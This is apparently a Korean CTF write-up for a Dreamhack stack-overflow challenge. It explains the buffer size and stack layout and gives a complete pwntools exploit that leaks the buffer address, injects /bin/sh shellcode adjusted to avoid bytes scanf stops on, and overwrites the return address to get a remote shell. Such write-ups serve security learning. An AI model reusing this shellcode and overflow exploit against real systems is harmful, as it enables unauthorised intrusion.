

설명을 보면 우분투에서 동작하고 보호기법은 없으며 rwx segments가 있다는 것을 알 수 있다....
다음으로 코드에서는 30초 시간제한, buf의 크기는 int(0x80) = 128이고 scanf에서 buf로 받는 값은 141임을 알 수 있다.
여기서 overflow취약점임을 알 수 있다.
따라서 스택 프레임 구조는 다음과 같을 것이라고 생각된다..

32비트 체제를 쓰고 있으므로 SFP와 ??(overwrite 해서 기존 buf의 주소로 return address 할 곳)는 각각 8bytes가 아닌 4bytes를 차지할 것이다.
payload를 작성해보면
또 다시 만능같은 만능아닌 툴 pwntools를 사용해 다음과 같이 작성할 수 있다.
from pwn import *
arch = "i386-32-little"
r = remote("host1.dreamhack.games",17606)
r.recvuntil("buf = (")
buf_address = int(r.recv(10),16)
shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shellcode
payload += b'A'*(128-len(shellcode)+4)
payload += p32(buf_address)
r.send(payload)
r.interactive()
처음에는 그냥 shellcode를 shellcraft.sh로 해봤지만 EOF가 뜨거나 error가 뜨거나...
그래서 검색하고 질문도 읽어봤더니 scanf 가\x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못한다네요..?!
그래서 인터넷에서 우회 코드를 찾아서 shellcode에 넣었습니다
이후 python3 <파이썬 파일 이름>.py를 실행하면

이렇게 되긴 하더라고요....
근데 처음부터 cat flag를 하면 안되더라고요... 그 이유는 찾아보고 작성하겠습니다..
pwntools에서 send와 sendline의 차이를 확인해보시면 좋을 것 같아요~!~!~!~!